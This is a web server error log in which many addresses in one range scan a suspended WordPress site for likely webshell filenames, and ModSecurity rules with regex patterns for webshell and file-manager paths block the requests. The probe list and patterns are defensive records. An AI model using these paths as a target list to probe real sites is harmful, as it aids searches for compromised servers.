[Sat Mar 14 13:17:37.050377 2026] [:error] [pid 35801:tid 35818] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/warm.PhP
[Sat Mar 14 13:17:37.341846 2026] [:error] [pid 35801:tid 35814] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Sat Mar 14 13:17:37.599890 2026] [:error] [pid 35801:tid 35820] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Sat Mar 14 13:17:37.856337 2026] [:error] [pid 35801:tid 35811] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Sat Mar 14 13:17:38.157053 2026] [:error] [pid 35801:tid 35807] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Sat Mar 14 13:17:38.408382 2026] [:error] [pid 35801:tid 35804] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Sat Mar 14 13:17:38.672541 2026] [:error] [pid 35801:tid 35809] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sat Mar 14 13:17:38.932035 2026] [:error] [pid 35801:tid 35824] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Sat Mar 14 13:17:39.284349 2026] [:error] [pid 35801:tid 35827] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Sat Mar 14 13:17:39.542684 2026] [:error] [pid 35801:tid 35813] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Sat Mar 14 13:17:39.827700 2026] [:error] [pid 35801:tid 35810] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Mar 14 13:17:40.084731 2026] [:error] [pid 35801:tid 35822] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sat Mar 14 13:17:40.352806 2026] [:error] [pid 35801:tid 35819] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Sat Mar 14 13:17:40.613468 2026] [:error] [pid 35801:tid 35826] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Sat Mar 14 13:17:40.900479 2026] [:error] [pid 35801:tid 35821] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Sat Mar 14 13:17:41.154118 2026] [:error] [pid 35801:tid 35812] [client 194.61.40.53:53797] [client 194.61.40.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "abTvdW8tVFelXGsqbU_8swAAAQg"]
[Sat Mar 14 13:17:41.686994 2026] [:error] [pid 13262:tid 13302] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Sat Mar 14 13:17:41.968153 2026] [:error] [pid 13262:tid 13298] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Sat Mar 14 13:17:42.317984 2026] [:error] [pid 13262:tid 13316] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Sat Mar 14 13:17:42.575213 2026] [:error] [pid 13262:tid 13300] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Sat Mar 14 13:17:42.874840 2026] [:error] [pid 13262:tid 13315] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Sat Mar 14 13:17:43.122120 2026] [:error] [pid 13262:tid 13312] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Sat Mar 14 13:17:43.443858 2026] [:error] [pid 13262:tid 13299] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Sat Mar 14 13:17:43.705869 2026] [:error] [pid 13262:tid 13305] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sat Mar 14 13:17:45.422140 2026] [:error] [pid 13262:tid 13305] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Sat Mar 14 13:17:45.691125 2026] [:error] [pid 13262:tid 13293] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Sat Mar 14 13:17:45.943777 2026] [:error] [pid 13262:tid 13306] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Mar 14 13:17:46.215797 2026] [:error] [pid 13262:tid 13308] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Sat Mar 14 13:17:46.565300 2026] [:error] [pid 13262:tid 13309] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Sat Mar 14 13:17:46.815071 2026] [:error] [pid 13262:tid 13297] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Sat Mar 14 13:17:47.078673 2026] [:error] [pid 13262:tid 13304] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Sat Mar 14 13:17:47.385389 2026] [:error] [pid 13262:tid 13307] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/exit.php
[Sat Mar 14 13:17:47.633452 2026] [:error] [pid 13262:tid 13303] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Sat Mar 14 13:17:47.896633 2026] [:error] [pid 13262:tid 13312] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Sat Mar 14 13:17:48.156954 2026] [:error] [pid 13262:tid 13293] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Sat Mar 14 13:17:48.461473 2026] [:error] [pid 13262:tid 13306] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sat Mar 14 13:17:48.737664 2026] [:error] [pid 13262:tid 13308] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Sat Mar 14 13:17:49.274772 2026] [:error] [pid 13262:tid 13313] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Sat Mar 14 13:17:49.652758 2026] [:error] [pid 13262:tid 13300] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Sat Mar 14 13:17:49.931430 2026] [:error] [pid 13262:tid 13302] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sat Mar 14 13:17:50.184703 2026] [:error] [pid 13262:tid 13301] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Sat Mar 14 13:17:50.506172 2026] [:error] [pid 13262:tid 13312] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Sat Mar 14 13:17:50.779347 2026] [:error] [pid 13262:tid 13298] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Sat Mar 14 13:17:51.056328 2026] [:error] [pid 13262:tid 13293] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Sat Mar 14 13:17:51.654415 2026] [:error] [pid 13262:tid 13316] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Sat Mar 14 13:17:52.173227 2026] [:error] [pid 13262:tid 13294] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Sat Mar 14 13:17:52.497718 2026] [:error] [pid 13262:tid 13313] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Sat Mar 14 13:17:52.763738 2026] [:error] [pid 13262:tid 13305] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Sat Mar 14 13:17:53.040991 2026] [:error] [pid 13262:tid 13297] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Sat Mar 14 13:17:53.355634 2026] [:error] [pid 13262:tid 13296] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Sat Mar 14 13:17:53.604124 2026] [:error] [pid 13262:tid 13299] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Sat Mar 14 13:17:53.895002 2026] [:error] [pid 13262:tid 13315] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Sat Mar 14 13:17:54.152892 2026] [:error] [pid 13262:tid 13301] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Sat Mar 14 13:17:54.476398 2026] [:error] [pid 13262:tid 13293] [client 194.61.40.33:50131] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sat Mar 14 13:17:54.723301 2026] [:error] [pid 13262:tid 13311] [client 194.61.40.33:50131] [client 194.61.40.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "abTvgjAdvM7ft5BXQ2ePiAAAAZI"]
[Sat Mar 14 13:17:55.316916 2026] [:error] [pid 13360:tid 13380] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Sat Mar 14 13:17:55.592220 2026] [:error] [pid 13360:tid 13367] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Sat Mar 14 13:17:55.894406 2026] [:error] [pid 13360:tid 13383] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Sat Mar 14 13:17:56.151978 2026] [:error] [pid 13360:tid 13384] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat Mar 14 13:17:56.432196 2026] [:error] [pid 13360:tid 13385] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Sat Mar 14 13:17:56.720083 2026] [:error] [pid 13360:tid 13388] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfusm.php
[Sat Mar 14 13:17:57.004409 2026] [:error] [pid 13360:tid 13387] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Sat Mar 14 13:17:57.253876 2026] [:error] [pid 13360:tid 13370] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Sat Mar 14 13:17:57.764066 2026] [:error] [pid 13360:tid 13388] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Sat Mar 14 13:17:58.343921 2026] [:error] [pid 13360:tid 13365] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Sat Mar 14 13:17:58.593828 2026] [:error] [pid 13360:tid 13371] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Sat Mar 14 13:17:58.861625 2026] [:error] [pid 13360:tid 13388] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Sat Mar 14 13:17:59.117565 2026] [:error] [pid 13360:tid 13368] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Sat Mar 14 13:17:59.392945 2026] [:error] [pid 13360:tid 13367] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Sat Mar 14 13:17:59.699161 2026] [:error] [pid 13360:tid 13365] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Sat Mar 14 13:17:59.946361 2026] [:error] [pid 13360:tid 13388] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Sat Mar 14 13:18:00.295144 2026] [:error] [pid 13360:tid 13377] [client 194.61.40.19:54589] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Sat Mar 14 13:18:00.897023 2026] [:error] [pid 13360:tid 13377] [client 194.61.40.19:54589] [client 194.61.40.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "abTviPoSWtMry3M5X6sA0AAAAo0"]
[Sat Mar 14 13:18:01.458189 2026] [:error] [pid 13262:tid 13315] [client 194.61.40.24:51263] [client 194.61.40.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "abTviTAdvM7ft5BXQ2ePsQAAAZY"]
[Sat Mar 14 13:18:03.533650 2026] [:error] [pid 13262:tid 13317] [client 194.61.40.50:20995] [client 194.61.40.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "abTvizAdvM7ft5BXQ2eP2wAAAZg"]
[Sat Mar 14 13:18:04.371888 2026] [:error] [pid 3912:tid 3936] [client 194.61.40.2:52411] [client 194.61.40.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "abTvjMXFZBK-jpdCvTENIgAAAAk"]
[Sat Mar 14 13:18:05.465687 2026] [:error] [pid 13262:tid 13300] [client 194.61.40.8:63631] [client 194.61.40.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "abTvjTAdvM7ft5BXQ2eP7wAAAYc"]
[Sat Mar 14 13:18:07.646180 2026] [:error] [pid 54132:tid 54149] [client 194.61.40.5:58619] [client 194.61.40.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "abTvj8MoWcZxtn8Rxy9WjgAAA0w"]
[Sat Mar 14 13:18:08.692199 2026] [:error] [pid 3912:tid 3945] [client 194.61.40.32:20479] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/gecko-old.php
[Sat Mar 14 13:18:08.995356 2026] [:error] [pid 3912:tid 3938] [client 194.61.40.32:20479] [client 194.61.40.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "abTvkMXFZBK-jpdCvTENOQAAAAs"]
[Sat Mar 14 13:18:09.759591 2026] [:error] [pid 13360:tid 13385] [client 194.61.40.48:37743] [client 194.61.40.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "abTvkfoSWtMry3M5X6sBCgAAApU"]
[Sat Mar 14 13:18:10.769386 2026] [:error] [pid 13360:tid 13379] [client 194.61.40.44:52243] [client 194.61.40.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "abTvkvoSWtMry3M5X6sBGwAAAo8"]
[Sat Mar 14 13:18:11.886930 2026] [:error] [pid 13360:tid 13388] [client 194.61.40.18:56561] [client 194.61.40.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "abTvk_oSWtMry3M5X6sBKAAAApg"]
[Sat Mar 14 13:18:12.461893 2026] [:error] [pid 13261:tid 13285] [client 194.61.40.14:32885] [client 194.61.40.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "abTvlPDFVxjWSW61p5kZnQAAANM"]
[Sat Mar 14 13:18:13.321150 2026] [:error] [pid 13360:tid 13370] [client 194.61.40.53:37049] [client 194.61.40.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "abTvlfoSWtMry3M5X6sBNgAAAoY"]
[Sat Mar 14 13:18:14.492454 2026] [:error] [pid 13261:tid 13290] [client 194.61.40.28:58613] [client 194.61.40.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "abTvlvDFVxjWSW61p5kZpQAAANg"]
[Sat Mar 14 13:18:15.034983 2026] [:error] [pid 13360:tid 13367] [client 194.61.40.41:49915] [client 194.61.40.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "abTvl_oSWtMry3M5X6sBQgAAAoM"]
[Sat Mar 14 13:18:15.582093 2026] [:error] [pid 13360:tid 13385] [client 194.61.40.48:45475] [client 194.61.40.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "abTvl_oSWtMry3M5X6sBSwAAApU"]
[Sat Mar 14 13:18:18.518681 2026] [:error] [pid 13360:tid 13365] [client 194.61.40.4:42091] [client 194.61.40.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "abTvmvoSWtMry3M5X6sBcAAAAoE"]
[Sat Mar 14 13:18:19.045654 2026] [:error] [pid 54017:tid 54046] [client 194.61.40.34:37975] [client 194.61.40.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "abTvm5h88Lk5QZp0lWWEKwAAAlY"]
[Sat Mar 14 13:18:19.573131 2026] [:error] [pid 13360:tid 13388] [client 194.61.40.30:42459] [client 194.61.40.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "abTvm_oSWtMry3M5X6sBeQAAApg"]
[Sat Mar 14 13:18:20.166670 2026] [:error] [pid 13262:tid 13309] [client 194.61.40.24:20817] [client 194.61.40.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "abTvnDAdvM7ft5BXQ2eQmQAAAZA"]
[Sat Mar 14 13:18:20.748166 2026] [:error] [pid 13262:tid 13293] [client 194.61.40.26:38433] [client 194.61.40.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "abTvnDAdvM7ft5BXQ2eQowAAAYA"]
[Sat Mar 14 13:18:21.547682 2026] [:error] [pid 13360:tid 13387] [client 194.61.40.46:27271] [client 194.61.40.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "abTvnfoSWtMry3M5X6sBiwAAApc"]
[Sat Mar 14 13:18:22.118449 2026] [:error] [pid 13261:tid 13269] [client 194.61.40.29:24841] [client 194.61.40.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "abTvnvDFVxjWSW61p5kZ2wAAAMM"]
[Sat Mar 14 13:18:22.646514 2026] [:error] [pid 3912:tid 3937] [client 194.61.40.49:49397] [client 194.61.40.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "abTvnsXFZBK-jpdCvTENWgAAAAo"]
[Sat Mar 14 13:18:23.513218 2026] [:error] [pid 3912:tid 3946] [client 194.61.40.31:55347] [client 194.61.40.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "abTvn8XFZBK-jpdCvTENXAAAABM"]
[Sat Mar 14 13:18:24.589497 2026] [:error] [pid 13360:tid 13379] [client 194.61.40.48:55633] [client 194.61.40.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "abTvoPoSWtMry3M5X6sBngAAAo8"]
[Sat Mar 14 13:18:25.125451 2026] [:error] [pid 13262:tid 13306] [client 194.61.40.25:49425] [client 194.61.40.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "abTvoTAdvM7ft5BXQ2eQ3QAAAY0"]
[Sat Mar 14 13:18:27.855726 2026] [:error] [pid 54017:tid 54036] [client 194.61.40.10:50517] [client 194.61.40.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "abTvo5h88Lk5QZp0lWWESQAAAkw"]
